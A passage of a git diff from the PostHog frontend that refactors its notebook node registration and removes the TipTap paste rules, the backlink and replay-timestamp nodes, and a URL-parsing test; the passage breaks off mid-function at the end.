{isEditable && Settings ? (<LemonButtononClick={() => toggleEditing()}size="small"@@ -463,50 +416,8 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperP)}</ErrorBoundary></div>- <div- className="NotebookNode__gap"- // UX improvement so that the actions don't get in the way of the cursor- onClick={() => onActionsAreaClick()}- >- {getPos && isEditable ? (- <>- <SlashCommandsPopover- mode="add"- getPos={() => (getPos() ?? 0) + 1}- visible={slashCommandsPopoverVisible}- onClose={() => setSlashCommandsPopoverVisible(false)}- >- <LemonButton- size="xsmall"- type="secondary"- icon={<IconPlus />}- tooltip="Add block"- onClick={(e) => {- e.stopPropagation()- setSlashCommandsPopoverVisible(true)- }}- />- </SlashCommandsPopover>- {actions.map((x, i) => (- <LemonButton- key={i}- size="xsmall"- type="secondary"- icon={x.icon ?? <IconPlus />}- tooltip={x.text}- onClick={(e) => {- e.stopPropagation()- x.onClick()- }}- >- {x.text}- </LemonButton>- ))}- </>- ) : null}- </div></div>- </NodeViewWrapper>+ </div></BindLogic></NotebookNodeContext.Provider>)@@ -514,165 +425,15 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPexport const MemoizedNodeWrapper = memo(NodeWrapper) as typeof NodeWrapper+/**+ * Registers a notebook node component so the markdown notebook registry (KNOWN_NODES)+ * can render it. The returned options are also the module's export for direct imports.+ */export function createPostHogWidgetNode<T extends CustomNotebookNodeAttributes>(options: CreatePostHogWidgetNodeOptions<T>-): Node {- const { Component, pasteOptions, inputOptions, attributes, serializedText, ...wrapperProps } = options-- KNOWN_NODES[wrapperProps.nodeType] = options-- // NOTE: We use NodeViewProps here as we convert them to NotebookNodeProps- const WrappedComponent = (props: NodeViewProps): JSX.Element => {- // Hooks must run unconditionally on every render — keep all hook calls above any early- // return so the shared-notebook placeholder fast-path doesn't violate the rules of hooks.- const { isShared } = useValues(notebookLogic)- const [attributes, updateAttributes] = useSyncedAttributes<T>(props)-- if (props.node.attrs.nodeId === null) {- // TODO only wrapped in setTimeout because of the flushSync bug- setTimeout(() => {- props.updateAttributes({- nodeId: attributes.nodeId,- })- }, 0)- }-- useEffect(() => {- if (props.node.attrs.nodeId === null) {- posthog.capture('notebook node added', { node_type: props.node.type.name })- }- // oxlint-disable-next-line exhaustive-deps- }, [props.node.attrs.nodeId])-- // when in shared mode, do not render any nodes that we know are unsupported- if (isShared && !isNodeSupportedInSharedNotebook(wrapperProps.nodeType)) {- return <UnsupportedNodePlaceholder />- }-- const nodeProps: NotebookNodeProps<T> & Omit<NodeViewProps, 'attributes' | 'updateAttributes'> = {- ...props,- attributes,- updateAttributes,- }-- if (isShared) {- // the error boundary renders the placeholder when there is an error instead of showing a bunch of random errors to the user- return (- <SharedNodeErrorBoundary>- <MemoizedNodeWrapper Component={Component} {...nodeProps} {...wrapperProps} />- </SharedNodeErrorBoundary>- )- }-- return <MemoizedNodeWrapper Component={Component} {...nodeProps} {...wrapperProps} />- }-- return Node.create({- name: wrapperProps.nodeType,- group: 'block',- atom: true,- draggable: true,-- serializedText: serializedText,-- extendNodeSchema(extension) {- const context = {- name: extension.name,- options: extension.options,- storage: extension.storage,- }- return {- serializedText: getExtensionField(extension, 'serializedText', context),- }- },-- addAttributes() {- // All exposed attributes round-trip through HTML as JSON.- // `parseHTML` on the way in and `renderHTML` on the way out are symmetric- // so default Cmd+C and the explicit `copyToClipboard` action produce the same encoding and parse cleanly- const jsonAttr = (name: string): Record<string, any> => ({- parseHTML: (element: HTMLElement) => {- const raw = element.getAttribute(name)- return raw ? JSON.parse(raw) : null- },- renderHTML: (attrs: Record<string, any>) => {- const value = attrs[name]- if (value === null || value === undefined) {- return {}- }- return { [name]: JSON.stringify(value) }- },- })-- const nodeAttributes = Object.fromEntries(- Object.entries(attributes as Record<string, any>).map(([name, config]) => {- return [- name,- {- ...config,- ...jsonAttr(name),- },- ]- })- )-- return {- height: jsonAttr('height'),- title: jsonAttr('title'),- nodeId: {- default: null,- },- __init: { default: null },- children: jsonAttr('children'),- ...nodeAttributes,- }- },-- parseHTML() {- return [- {- tag: wrapperProps.nodeType,- },- ]- },-- renderHTML({ HTMLAttributes }) {- // Per-attribute renderHTML callbacks already JSON-stringified each value;- // here we just apply the same omit rule the explicit Copy action uses- const sanitized = Object.fromEntries(- Object.entries(HTMLAttributes).filter(([key, value]) => !shouldOmitFromClipboardHTML(key, value))- )- return [wrapperProps.nodeType, mergeAttributes(sanitized)]- },-- addNodeView() {- return ReactNodeViewRenderer(WrappedComponent)- },-- addPasteRules() {- return pasteOptions- ? [- posthogNodePasteRule({- editor: this.editor,- type: this.type,- ...pasteOptions,- }),- ]- : []- },-- addInputRules() {- return inputOptions- ? [- posthogNodeInputRule({- editor: this.editor,- type: this.type,- ...inputOptions,- }),- ]- : []- },- })+): CreatePostHogWidgetNodeOptions<T> {+ KNOWN_NODES[options.nodeType] = options+ return options}export const NotebookNodeChildRenderer = ({diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.test.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.test.tsxdeleted file mode 100644index 3c80de248231..000000000000--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.test.tsx+++ /dev/null@@ -1,89 +0,0 @@-import { BACKLINK_MAP } from './NotebookNodeBacklink'--const stripQueryAndHash = (path: string): string => path.split(/[?#]/)[0]--describe('NotebookNodeBacklink BACKLINK_MAP', () => {- const findConfig = (type: string): (typeof BACKLINK_MAP)[number] => {- const config = BACKLINK_MAP.find((c) => c.type === type)- if (!config) {- throw new Error(`No BACKLINK_MAP entry for type "${type}"`)- }- return config- }-- describe('notebooks', () => {- const notebooks = findConfig('notebooks')-- it.each([- ['no project prefix', '/notebooks/abc123', 'abc123'],- ['with project prefix', '/project/2/notebooks/abc123', 'abc123'],- ['with query string', '/notebooks/abc123?source=share', 'abc123'],- ['with hash', '/notebooks/abc123#section', 'abc123'],- ['project prefix and query string', '/project/2/notebooks/abc123?foo=bar', 'abc123'],- ])('extracts the short_id from path with %s', (_label, path, expectedId) => {- const stripped = stripQueryAndHash(path)- expect(notebooks.regex.test(stripped)).toBe(true)- expect(notebooks.regex.exec(stripped)?.[1]).toBe(expectedId)- })- })-- describe('dashboards', () => {- const dashboards = findConfig('dashboards')-- it.each([- ['no project prefix', '/dashboard/4', '4'],- ['with project prefix', '/project/2/dashboard/4', '4'],- ])('extracts the dashboard id from path with %s', (_label, path, expectedId) => {- const stripped = stripQueryAndHash(path)- expect(dashboards.regex.test(stripped)).toBe(true)- expect(dashboards.regex.exec(stripped)?.[1]).toBe(expectedId)- })- })-- describe('feature_flags', () => {- const flags = findConfig('feature_flags')-- it.each([- ['no project prefix', '/feature_flags/42', '42'],- ['with project prefix', '/project/2/feature_flags/42', '42'],- ])('extracts the flag id from path with %s', (_label, path, expectedId) => {- const stripped = stripQueryAndHash(path)- expect(flags.regex.test(stripped)).toBe(true)- expect(flags.regex.exec(stripped)?.[1]).toBe(expectedId)- })- })-- describe('persons', () => {- const persons = findConfig('persons')-- it.each([- ['no project prefix', '/person/user-distinct-id', 'user-distinct-id'],- ['with project prefix', '/project/2/person/user-distinct-id', 'user-distinct-id'],- ])('extracts the distinct_id from path with %s', (_label, path, expectedId) => {- const stripped = stripQueryAndHash(path)- expect(persons.regex.test(stripped)).toBe(true)- expect(persons.regex.exec(stripped)?.[1]).toBe(expectedId)- })- })-- describe('replay', () => {- const replay = findConfig('replay')-- it.each([- [- 'no project prefix',- '/replay/0193abcd-ef01-7000-9999-aaaaaaaaaaaa',- '0193abcd-ef01-7000-9999-aaaaaaaaaaaa',- ],- [- 'with project prefix',- '/project/2/replay/0193abcd-ef01-7000-9999-aaaaaaaaaaaa',- '0193abcd-ef01-7000-9999-aaaaaaaaaaaa',- ],- ])('extracts the session id from path with %s', (_label, path, expectedId) => {- const stripped = stripQueryAndHash(path)- expect(replay.regex.test(stripped)).toBe(true)- expect(replay.regex.exec(stripped)?.[1]).toBe(expectedId)- })- })-})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.tsxdeleted file mode 100644index 23c6900bdec7..000000000000--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeBacklink.tsx+++ /dev/null@@ -1,227 +0,0 @@-import { Node, NodeViewProps, mergeAttributes } from '@tiptap/core'-import { NodeViewWrapper, ReactNodeViewRenderer } from '@tiptap/react'-import clsx from 'clsx'-import { useValues } from 'kea'-import { router } from 'kea-router'-import { useEffect } from 'react'--import {- IconChat,- IconDashboard,- IconFlag,- IconFlask,- IconGraph,- IconLive,- IconLogomark,- IconNotebook,- IconPeople,- IconPerson,- IconPlaylist,- IconRewindPlay,-} from '@posthog/icons'-import { Link } from '@posthog/lemon-ui'--import api from 'lib/api'-import { urls } from 'scenes/urls'--import { openNotebook } from '~/models/notebooksModel'-import { QueryBasedInsightModel } from '~/types'--import { notebookLogic } from '../Notebook/notebookLogic'-import { NotebookNodeType, NotebookTarget } from '../types'-import { posthogNodePasteRule } from './utils'--type BackLinkMapper = {- regex: RegExp- type: string- icon: JSX.Element- getTitle: (id: string) => Promise<string>-}--export const BACKLINK_MAP: BackLinkMapper[] = [- {- type: 'dashboards',- regex: new RegExp(urls.dashboard('([^/]+)')),- icon: <IconDashboard />,- getTitle: async (id: string) => {- const dashboard = await api.dashboards.get(Number(id))- return dashboard.name || id- },- },- {- type: 'insights',- regex: new RegExp(urls.insightView('([^/]+)' as QueryBasedInsightModel['short_id'])),- icon: <IconGraph />,- getTitle: async (id: string) => {- const insight = await api.insights.loadInsight(id as QueryBasedInsightModel['short_id'])- return insight.results[0]?.name || id- },- },- {- type: 'feature_flags',- regex: new RegExp(urls.featureFlag('([^/]+)')),- icon: <IconFlag />,- getTitle: async (id: string) => {- const flag = await api.featureFlags.get(Number(id))- return flag.name || flag.key || id- },- },- {- type: 'experiments',- regex: new RegExp(urls.experiment('([^/]+)')),- icon: <IconFlask />,- getTitle: async (id: string) => {- const experiment = await api.experiments.get(Number(id))- return experiment.name || id- },- },- {- type: 'surveys',- regex: new RegExp(urls.survey('([^/]+)')),- icon: <IconChat />,- getTitle: async (id: string) => {- const survey = await api.surveys.get(id)- return survey.name || id- },- },- {- type: 'events',- regex: new RegExp(urls.eventDefinition('([^/]+)')),- icon: <IconLive width="1em" height="1em" />,- getTitle: async (id: string) => {- const event = await api.eventDefinitions.get({ eventDefinitionId: id })- return event.name || id- },- },- {- type: 'persons',- regex: new RegExp(urls.personByDistinctId('([^/]+)', false)),- icon: <IconPerson />,- getTitle: async (id: string) => {- const response = await api.persons.list({ distinct_id: id })- return response.results[0]?.name || id- },- },- {- type: 'cohorts',- regex: new RegExp(urls.cohort('([^/]+)')),- icon: <IconPeople />,- getTitle: async (id: string) => {- const cohort = await api.cohorts.get(Number(id))- return cohort.name || id- },- },- {- type: 'playlist',- regex: new RegExp(urls.replayPlaylist('([^/]+)')),- icon: <IconPlaylist />,- getTitle: async (id: string) => {- const playlist = await api.recordings.getPlaylist(id)- return playlist.name || id- },- },- {- type: 'replay',- regex: new RegExp(urls.replaySingle('([^/]+)')),- icon: <IconRewindPlay />,- getTitle: async (id: string) => {- return id- },- },- {- type: 'notebooks',- regex: new RegExp(urls.notebook('([^/]+)')),- icon: <IconNotebook />,- getTitle: async (id: string) => {- const notebook = await api.notebooks.get(id)- return notebook.title || 'Untitled'- },- },-]--const Component = (props: NodeViewProps): JSX.Element => {- const { shortId } = useValues(notebookLogic)- const { location } = useValues(router)-- const href: string = props.node.attrs.href ?? ''- const hrefWithoutQuery: string = href.split(/[?#]/)[0]-- const backLinkConfig = BACKLINK_MAP.find((config) => config.regex.test(hrefWithoutQuery))- const matchedId = backLinkConfig?.regex.exec(hrefWithoutQuery)?.[1]- const derivedText: string = props.node.attrs.title || props.node.attrs.href- const isViewing = location.pathname === href-- useEffect(() => {- if (props.node.attrs.title || !backLinkConfig || !matchedId) {- return- }-- void backLinkConfig- .getTitle(matchedId)- .then((title) => {- props.updateAttributes({- title,- })- })- .catch((e) => {- console.error(e)- })- // oxlint-disable-next-line exhaustive-deps- }, [props.node.attrs.title])-- return (- <NodeViewWrapper- as="span"- className={clsx('Backlink', isViewing && 'Backlink--active', props.selected && 'Backlink--selected')}- >- <Link- to={href}- onClick={() => void openNotebook(shortId, NotebookTarget.Popover)}- className="deprecated-space-x-1"- >- <span>{backLinkConfig?.icon || <IconLogomark />}</span>- <span className="Backlink__label">{derivedText}</span>- </Link>- </NodeViewWrapper>- )-}--export const NotebookNodeBacklink = Node.create({- name: NotebookNodeType.Backlink,- inline: true,- group: 'inline',- atom: true,-- addAttributes() {- return {- href: { default: '' },- type: {},- title: {},- }- },-- parseHTML() {- return [{ tag: NotebookNodeType.Backlink }]- },-- renderHTML({ HTMLAttributes }) {- return [NotebookNodeType.Backlink, mergeAttributes(HTMLAttributes)]- },-- addNodeView() {- return ReactNodeViewRenderer(Component)- },-- addPasteRules() {- return [- posthogNodePasteRule({- find: '(.+)',- editor: this.editor,- type: this.type,- getAttributes: async (match) => {- return { href: match[1] }- },- }),- ]- },-})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeCohort.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeCohort.tsxindex af3dc11f812e..6364cb236f83 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeCohort.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeCohort.tsx@@ -17,7 +17,6 @@ import { PropertyFilterType } from '~/types'import { NotebookNodeProps, NotebookNodeType } from '../types'import { notebookNodeLogic } from './notebookNodeLogic'-import { INTEGER_REGEX_MATCH_GROUPS, OPTIONAL_PROJECT_NON_CAPTURE_GROUP } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodeCohortAttributes>): JSX.Element => {const { id } = attributes@@ -168,12 +167,6 @@ export const NotebookNodeCohort = createPostHogWidgetNode<NotebookNodeCohortAttrattributes: {id: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.cohort(INTEGER_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- return { id: parseInt(match[1]) }- },- },serializedText: (attrs) => {const title = attrs?.title || ''const id = attrs?.id || ''diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeEarlyAccessFeature.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeEarlyAccessFeature.tsxindex a37b2c3b06e6..7afc49db7827 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeEarlyAccessFeature.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeEarlyAccessFeature.tsx@@ -21,7 +21,6 @@ import {import { NotebookNodeProps, NotebookNodeType } from '../types'import { buildFlagContent } from './NotebookNodeFlag'import { notebookNodeLogic } from './notebookNodeLogic'-import { OPTIONAL_PROJECT_NON_CAPTURE_GROUP, UUID_REGEX_MATCH_GROUPS } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodeEarlyAccessAttributes>): JSX.Element => {const { id } = attributes@@ -137,12 +136,6 @@ export const NotebookNodeEarlyAccessFeature = createPostHogWidgetNode<NotebookNoattributes: {id: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.earlyAccessFeature(UUID_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- return { id: match[1] }- },- },})export function buildEarlyAccessFeatureContent(id: EarlyAccessFeatureLogicProps['id']): JSONContent {diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeEmbed.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeEmbed.tsxindex 48938916eb12..76a4fabee8d8 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeEmbed.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeEmbed.tsx@@ -14,8 +14,6 @@ type NotebookNodeEmbedAttributes = {height?: string | number}-const IFRAME_MATCHER = /(?:<iframe[^>]*)(?:(?:\/>)|(?:>.*?<\/iframe>))/gi-const parseIframeString = (input: string): NotebookNodeEmbedAttributes | null => {const parser = new DOMParser()const doc = parser.parseFromString(input, 'text/html')@@ -141,10 +139,4 @@ export const NotebookNodeEmbed = createPostHogWidgetNode<NotebookNodeEmbedAttribwidth: {},height: {},},- pasteOptions: {- find: IFRAME_MATCHER,- getAttributes: async (match) => {- return parseIframeString(match[0]) ?? {}- },- },})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeExperiment.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeExperiment.tsxindex 414bde269fc2..da68876d9446 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeExperiment.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeExperiment.tsx@@ -6,7 +6,6 @@ import { type NotebookNodeProps, NotebookNodeType } from '~/scenes/notebooks/typimport { urls } from '~/scenes/urls'import { notebookNodeLogic } from './notebookNodeLogic'-import { INTEGER_REGEX_MATCH_GROUPS, OPTIONAL_PROJECT_NON_CAPTURE_GROUP } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodeExperimentAttributes>): JSX.Element => {const { id } = attributes@@ -29,10 +28,4 @@ export const NotebookNodeExperiment = createPostHogWidgetNode<NotebookNodeExperiattributes: {id: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.experiment(INTEGER_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- return { id: parseInt(match[1]) }- },- },})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeFlag.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeFlag.tsxindex 0c4375e95865..0cccc70a3fec 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeFlag.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeFlag.tsx@@ -21,7 +21,6 @@ import { notebookNodeFlagLogic } from './NotebookNodeFlagLogic'import { notebookNodeLogic } from './notebookNodeLogic'import { buildPlaylistContent } from './NotebookNodePlaylist'import { buildSurveyContent } from './NotebookNodeSurvey'-import { INTEGER_REGEX_MATCH_GROUPS, OPTIONAL_PROJECT_NON_CAPTURE_GROUP } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodeFlagAttributes>): JSX.Element => {const { id } = attributes@@ -154,12 +153,6 @@ export const NotebookNodeFlag = createPostHogWidgetNode<NotebookNodeFlagAttributattributes: {id: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.featureFlag(INTEGER_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- return { id: match[1] as FeatureFlagLogicProps['id'] }- },- },})export function buildFlagContent(id: FeatureFlagLogicProps['id']): JSONContent {diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeGroup.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeGroup.tsxindex 8ccd3d8e6d6c..241e840c399d 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeGroup.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeGroup.tsx@@ -291,12 +291,6 @@ export const NotebookNodeGroup = createPostHogWidgetNode<NotebookNodeGroupAttribtabId: {},placement: {},},- pasteOptions: {- find: urls.group('([0-9]+)', '([^/]+)', false),- getAttributes: async (match) => {- return { groupTypeIndex: parseInt(match[1]), id: decodeURIComponent(match[2]) }- },- },serializedText: (attrs) => {const title = attrs?.title || ''const id = attrs?.id || ''diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeLatex.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeLatex.tsxindex b5746d4e4db8..b7976096f505 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeLatex.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeLatex.tsx@@ -154,11 +154,4 @@ export const NotebookNodeLatex = createPostHogWidgetNode<NotebookNodeLatexAttribresizeable: true, // Allow resizing if content is large when not editingattributes: DEFAULT_ATTRIBUTES_WITH_DEFAULTS,serializedText: (attrs) => attrs.content,- inputOptions: {- find: /(?:^|\s)\$\$([^$\n]+?)\$\$(?=\s|$)/,- getAttributes: (match) => {- const latex = match[1].trim()- return { content: latex, editing: false }- },- },})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodePerson.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodePerson.tsxindex c80bdb45702f..fc6298abcbef 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodePerson.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodePerson.tsx@@ -25,7 +25,6 @@ import { PersonType } from '~/types'import { NotebookNodeProps, NotebookNodeType } from '../types'import { DataSourceIcon } from './components/DataSourceIcon'import { notebookNodeLogic } from './notebookNodeLogic'-import { OPTIONAL_PROJECT_NON_CAPTURE_GROUP } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodePersonAttributes>): JSX.Element => {const { id, distinctId } = attributes@@ -300,12 +299,6 @@ export const NotebookNodePerson = createPostHogWidgetNode<NotebookNodePersonAttrid: {},distinctId: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.personByUUID('(.+)', false),- getAttributes: async (match) => {- return { distinctId: undefined, id: match[1] }- },- },serializedText: (attrs) => {const personTitle = attrs?.title || ''const personId = attrs?.id || ''diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodePlaylist.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodePlaylist.tsxindex 89d6dfb96052..9ff4dda7dfbd 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodePlaylist.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodePlaylist.tsx@@ -13,12 +13,11 @@ import { SessionRecordingsPlaylist } from 'scenes/session-recordings/playlist/Seimport {DEFAULT_RECORDING_FILTERS,SessionRecordingPlaylistLogicProps,- convertLegacyFiltersToUniversalFilters,sessionRecordingsPlaylistLogic,} from 'scenes/session-recordings/playlist/sessionRecordingsPlaylistLogic'import { urls } from 'scenes/urls'-import { FilterType, RecordingUniversalFilters, ReplayTabs } from '~/types'+import { FilterType, RecordingUniversalFilters } from '~/types'import { notebookLogic } from '../Notebook/notebookLogic'import { NotebookNodeAttributeProperties, NotebookNodeProps, NotebookNodeType } from '../types'@@ -53,7 +52,7 @@ const Component = ({[playerKey, universalFilters, pinned])- const { setActions, insertAfter, setMessageListeners, scrollIntoView } = useActions(notebookNodeLogic)+ const { setActions, insertAfter, setMessageListeners } = useActions(notebookNodeLogic)const logic = sessionRecordingsPlaylistLogic(recordingPlaylistLogicProps)const { activeSessionRecording } = useValues(logic)@@ -95,7 +94,6 @@ const Component = ({'play-replay': ({ sessionRecordingId, time }) => {// IDEA: We could add the desired start time here as a param, which is picked up by the player...setSelectedRecordingId(sessionRecordingId)- scrollIntoView()setTimeout(() => {// NOTE: This is a hack but we need a delay to give time for the player to mount@@ -149,16 +147,6 @@ export const NotebookNodePlaylist = createPostHogWidgetNode<NotebookNodePlaylistdefault: undefined,},},- pasteOptions: {- find: urls.replay(ReplayTabs.Home) + '(.*)',- getAttributes: async (match) => {- const url = new URL(match[0])- const stringifiedFilters = url.searchParams.get('filters')- const filters = stringifiedFilters ? JSON.parse(stringifiedFilters) : {}- const universalFilters = convertLegacyFiltersToUniversalFilters({}, filters)- return { filters, universalFilters, pinned: [] }- },- },Settings,})diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeQuery.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeQuery.tsxindex dec05c8ba211..6ddce28f7782 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeQuery.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeQuery.tsx@@ -24,7 +24,7 @@ import {isSavedInsightNode,isActorsQuery,} from '~/queries/utils'-import { InsightLogicProps, InsightShortId } from '~/types'+import { InsightLogicProps } from '~/types'import { NotebookNodeAttributeProperties, NotebookNodeProps, NotebookNodeType } from '../types'import {@@ -36,7 +36,6 @@ import {} from './components/NotebookSQLEditor'import { useRequiredNotebookNode } from './NotebookNodeContext'import { UnsupportedNodePlaceholder } from './sharedNodeSupport'-import { SHORT_CODE_REGEX_MATCH_GROUPS } from './utils'type NotebookSqlOutputToolbarVisibilityProps = {componentPanelState: ReturnType<typeof useComponentPanelState>@@ -414,18 +413,6 @@ export const NotebookNodeQuery = createPostHogWidgetNode<NotebookNodeQueryAttrib: undefined,Settings,settingsPlacement: 'inline',- pasteOptions: {- find: urls.insightView(SHORT_CODE_REGEX_MATCH_GROUPS as InsightShortId),- getAttributes: async (match) => {- return {- query: {- kind: NodeKind.SavedInsightNode,- shortId: match[1] as InsightShortId,- },- isDefaultFilterApplied: false,- }- },- },serializedText: (attrs) => {let text = ''const q = attrs.querydiff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeRecording.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeRecording.tsxindex 7788aa07d910..a695161a2b5a 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeRecording.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeRecording.tsx@@ -28,7 +28,6 @@ import { SessionRecordingId } from '~/types'import { NotebookNodeAttributeProperties, NotebookNodeProps, NotebookNodeType } from '../types'import { notebookNodeLogic } from './notebookNodeLogic'-import { UUID_REGEX_MATCH_GROUPS } from './utils'const HEIGHT = 500const MIN_HEIGHT = '20rem'@@ -45,7 +44,7 @@ const Component = ({ attributes }: NotebookNodeProps<NotebookNodeRecordingAttrib}const { expanded } = useValues(notebookNodeLogic)- const { setActions, insertAfter, setMessageListeners, setExpanded, scrollIntoView } = useActions(notebookNodeLogic)+ const { setActions, insertAfter, setMessageListeners, setExpanded } = useActions(notebookNodeLogic)const { sessionPlayerMetaData, sessionPlayerMetaDataLoading, sessionPlayerData } = useValues(sessionRecordingDataCoordinatorLogic(recordingLogicProps)@@ -86,7 +85,6 @@ const Component = ({ attributes }: NotebookNodeProps<NotebookNodeRecordingAttrib}setPlay()seekToTimestamp(time)- scrollIntoView()},})})@@ -171,16 +169,6 @@ export const NotebookNodeRecording = createPostHogWidgetNode<NotebookNodeRecordidefault: undefined,},},- pasteOptions: {- find: urls.replaySingle(UUID_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- const id = match[1]- const remainder = match[2] || ''- const tMatch = /[?&#]t=(\d+)/.exec(remainder)- const timestampMs = tMatch ? Number(tMatch[1]) * 1000 : undefined- return { id, noInspector: false, timestampMs }- },- },Settings,serializedText: (attrs) => {return attrs.iddiff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeReplayTimestamp.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeReplayTimestamp.tsxdeleted file mode 100644index 9b8c6299e645..000000000000--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeReplayTimestamp.tsx+++ /dev/null@@ -1,102 +0,0 @@-import { Node, NodeViewProps, mergeAttributes } from '@tiptap/core'-import { NodeViewWrapper, ReactNodeViewRenderer } from '@tiptap/react'-import clsx from 'clsx'-import { useValues } from 'kea'-import { useMemo } from 'react'--import { LemonButton } from '@posthog/lemon-ui'--import { dayjs } from 'lib/dayjs'-import { urls } from 'scenes/urls'--import { openNotebook } from '~/models/notebooksModel'--import { notebookLogic } from '../Notebook/notebookLogic'-import { NotebookNodeType, NotebookTarget } from '../types'--export interface NotebookNodeReplayTimestampAttrs {- playbackTime?: number- sessionRecordingId: string- sourceNodeId?: string-}--const Component = (props: NodeViewProps): JSX.Element => {- const { shortId, findNodeLogic, findNodeLogicById } = useValues(notebookLogic)- const { sessionRecordingId, playbackTime = 0, sourceNodeId } = props.node.attrs as NotebookNodeReplayTimestampAttrs-- const relatedNodeInNotebook = useMemo(() => {- const logicById = sourceNodeId ? findNodeLogicById(sourceNodeId) : null-- return logicById ?? findNodeLogic(NotebookNodeType.Recording, { id: sessionRecordingId })- // oxlint-disable-next-line exhaustive-deps- }, [findNodeLogic])-- const handlePlayInNotebook = (): void => {- // TODO: Figure out how to send this action info to the playlist OR the replay node...-- relatedNodeInNotebook?.values.sendMessage('play-replay', {- sessionRecordingId,- time: playbackTime ?? 0,- })- }-- return (- <NodeViewWrapper- as="span"- className={clsx('NotebookRecordingTimestamp', props.selected && 'NotebookRecordingTimestamp--selected')}- >- <LemonButton- size="small"- noPadding- active- onClick={- relatedNodeInNotebook ? handlePlayInNotebook : () => openNotebook(shortId, NotebookTarget.Popover)- }- to={- !relatedNodeInNotebook- ? urls.replaySingle(sessionRecordingId) + `?t=${playbackTime / 1000}`- : undefined- }- >- <span className="p-1">{formatTimestamp(playbackTime)}</span>- </LemonButton>- </NodeViewWrapper>- )-}--export const NotebookNodeReplayTimestamp = Node.create({- name: NotebookNodeType.ReplayTimestamp,- inline: true,- group: 'inline',- atom: true,-- serializedText: (attrs: NotebookNodeReplayTimestampAttrs): string => {- // timestamp is not a block so `getText` does not add a separator.- // we need to add it manually- return `${attrs.playbackTime ? formatTimestamp(attrs.playbackTime) : '00:00'}:\n`- },-- addAttributes() {- return {- playbackTime: { default: null, keepOnSplit: false },- sessionRecordingId: { default: null, keepOnSplit: true, isRequired: true },- sourceNodeId: { default: null, keepOnSplit: true },- }- },-- parseHTML() {- return [{ tag: NotebookNodeType.ReplayTimestamp }]- },-- renderHTML({ HTMLAttributes }) {- return [NotebookNodeType.ReplayTimestamp, mergeAttributes(HTMLAttributes)]- },-- addNodeView() {- return ReactNodeViewRenderer(Component)- },-})--export function formatTimestamp(time: number): string {- return dayjs.duration(time, 